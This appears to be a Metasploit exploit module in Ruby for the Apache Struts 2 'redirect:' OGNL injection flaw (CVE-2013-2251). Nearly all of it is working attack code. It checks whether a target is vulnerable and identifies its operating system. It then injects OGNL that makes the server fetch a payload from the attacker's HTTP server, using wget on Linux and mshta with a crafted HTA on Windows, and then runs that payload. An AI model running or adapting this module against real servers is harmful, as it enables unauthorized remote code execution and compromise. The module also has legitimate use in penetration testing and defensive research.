Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',  
'Description' => %q{  
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation  
state changes by prefixing parameters with "action:" or "redirect:", followed by  
a desired navigational target expression. This mechanism was intended to help with  
attaching navigational information to buttons within forms.  
  
In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or  
"redirectAction:" is not properly sanitized. Since said information will be  
evaluated as OGNL expression against the value stack, this introduces the  
possibility to inject server side code.  
  
This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with  
Windows 2003 SP2 and Ubuntu 10.04 operating systems.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Takeshi Terada', # Vulnerability discovery  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit modules  
],  
'References' =>  
[  
[ 'CVE', '2013-2251' ],  
[ 'OSVDB', '95405' ],  
[ 'BID', '61189' ],  
[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]  
],  
'Platform' => [ 'win', 'linux'],  
'Targets' =>  
[  
['Automatic', {}],  
['Windows',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
['Linux',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 10  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DisclosureDate' => 'Jul 2 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),  
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),  
# It isn't OptPath becuase it's a *remote* path  
OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])  
], self.class)  
end  
  
def on_new_session(session)  
if session.type == "meterpreter"  
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")  
end  
  
@dropped_files.delete_if do |file|  
false unless file =~ /\.exe/  
win_file = file.gsub("/", "\\\\")  
if session.type == "meterpreter"  
begin  
wintemp = session.fs.file.expand_path("%TEMP%")  
win_file = "#{wintemp}\\#{win_file}"  
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)  
session.fs.file.rm(win_file)  
print_good("Deleted #{file}")  
true  
rescue ::Rex::Post::Meterpreter::RequestError  
print_error("Failed to delete #{win_file}")  
false  
end  
end  
end  
  
super  
end  
  
def start_http_service  
#do not use SSL  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
service_url = srv_host + ':' + datastore['SRVPORT'].to_s  
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")  
start_service({  
'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => '/'  
}  
})  
  
datastore['SSL'] = true if ssl_restore  
  
return service_url  
end  
  
def check  
uri = normalize_uri(target_uri.path)  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET'  
})  
  
if res.nil? or res.code != 200  
print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")  
return Exploit::CheckCode::Unknown  
end  
  
proof = rand_text_alpha(6 + rand(4))  
  
res = send_request_cgi({  
'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",  
'method' => 'GET'  
})  
  
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def auto_target  
uri = normalize_uri(target_uri.path)  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET'  
})  
  
if res.nil? or res.code != 200  
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")  
end  
  
proof = rand_text_alpha(6 + rand(4))  
  
res = send_request_cgi({  
'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",  
'method' => 'GET'  
})  
  
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/  
if res.headers['Location'] =~ /:\\/  
return targets[1] # Windows  
else  
return targets[2] # Linux  
end  
end  
  
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")  
  
end  
  
def exploit_linux  
  
downfile = rand_text_alpha(8+rand(8))  
@pl = @exe  
@pl_sent = false  
  
#  
# start HTTP service if necessary  
#  
service_url = start_http_service  
  
#  
# download payload  
#  
fname = datastore['WritableDir']  
fname = "#{fname}/" unless fname =~ %r'/$'  
fname << downfile  
uri = normalize_uri(target_uri.path)  
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"  
  
print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res.nil? or res.code != 302  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")  
end  
  
#  
# wait for payload download  
#  
wait_payload  
  
register_file_for_cleanup(fname)  
  
#  
# chmod  
#  
uri = normalize_uri(target_uri.path)  
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"  
  
print_status("#{rhost}:#{rport} - Make payload executable...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res.nil? or res.code != 302  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")  
end  
  
#  
# execute  
#  
uri = normalize_uri(target_uri.path)  
uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"  
  
print_status("#{rhost}:#{rport} - Execute payload...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res.nil? or res.code != 302  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")  
end  
  
end  
  
def exploit_windows  
@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'  
@pl = build_hta  
@pl_sent = false  
  
#  
# start HTTP service if necessary  
#  
service_url = start_http_service  
  
#  
# execute hta  
#  
uri = normalize_uri(target_uri.path)  
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"  
  
print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res.nil? or res.code != 302  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")  
end  
  
#  
# wait for payload download  
#  
wait_payload  
  
register_file_for_cleanup(@var_exename)  
end  
  
def exploit  
if target.name =~ /Automatic/  
print_status("#{rhost}:#{rport} - Target autodetection...")  
my_target = auto_target  
print_good("#{rhost}:#{rport} - #{my_target.name} target found!")  
else  
my_target = target  
end  
  
p = exploit_regenerate_payload(my_target.platform, my_target.arch)  
@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})  
  
if my_target.name =~ /Linux/  
if datastore['PAYLOAD'] =~ /windows/  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")  
end  
exploit_linux  
elsif my_target.name =~ /Windows/  
if datastore['PAYLOAD'] =~ /linux/  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")  
end  
exploit_windows  
end  
end  
  
# Handle incoming requests from the server  
def on_request_uri(cli, request)  
vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@pl_sent = true  
send_response(cli, @pl)  
end  
  
# wait for the data to be sent  
def wait_payload  
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")  
  
waited = 0  
while (not @pl_sent)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > datastore['HTTP_DELAY'])  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")  
end  
end  
end  
  
def build_hta  
var_shellobj = rand_text_alpha(rand(5)+5);  
var_fsobj = rand_text_alpha(rand(5)+5);  
var_fsobj_file = rand_text_alpha(rand(5)+5);  
var_vbsname = rand_text_alpha(rand(5)+5);  
var_writedir = rand_text_alpha(rand(5)+5);  
  
var_origLoc = rand_text_alpha(rand(5)+5);  
var_byteArray = rand_text_alpha(rand(5)+5);  
var_writestream = rand_text_alpha(rand(5)+5);  
var_strmConv = rand_text_alpha(rand(5)+5);  
  
# Doing in this way to bypass the ADODB.Stream restrictions on JS,  
# even when executing it as an "HTA" application  
# The encoding code has been stolen from ie_unsafe_scripting.rb  
print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");  
  
# Build the content that will end up in the .vbs file  
vbs_content = Rex::Text.to_hex(%Q|  
Dim #{var_origLoc}, s, #{var_byteArray}  
#{var_origLoc} = SetLocale(1033)  
|)  
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)  
# for conversion with ADODB.Stream  
vbs_ary = []  
# The output of this loop needs to be as small as possible since it  
# gets repeated for every byte of the executable, ballooning it by a  
# factor of about 80k (the current size of the exe template). In its  
# current form, it's down to about 4MB on the wire  
@exe.each_byte do |b|  
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")  
end  
vbs_content << vbs_ary.join("")  
  
# Continue with the rest of the vbs file;  
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent  
# Then use ADODB.Stream again to write the binary to file.  
#print_status("Finishing vbs...");  
vbs_content << Rex::Text.to_hex(%Q|  
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}  
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"  
  
Set #{var_strmConv} = CreateObject("ADODB.Stream")  
  
#{var_strmConv}.Type = 2  
#{var_strmConv}.Charset = "x-ansi"  
#{var_strmConv}.Open  
#{var_strmConv}.WriteText s, 0  
#{var_strmConv}.Position = 0  
#{var_strmConv}.Type = 1  
#{var_strmConv}.SaveToFile #{var_writedir}, 2  
  
SetLocale(#{var_origLoc})|)  
  
hta = <<-EOS  
<script>  
var #{var_shellobj} = new ActiveXObject("WScript.Shell");  
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");  
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");  
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);  
  
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));  
#{var_fsobj_file}.Close();  
  
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);  
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);  
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");  
window.close();  
</script>  
EOS  
  
return hta  
end  
  
  
end  
`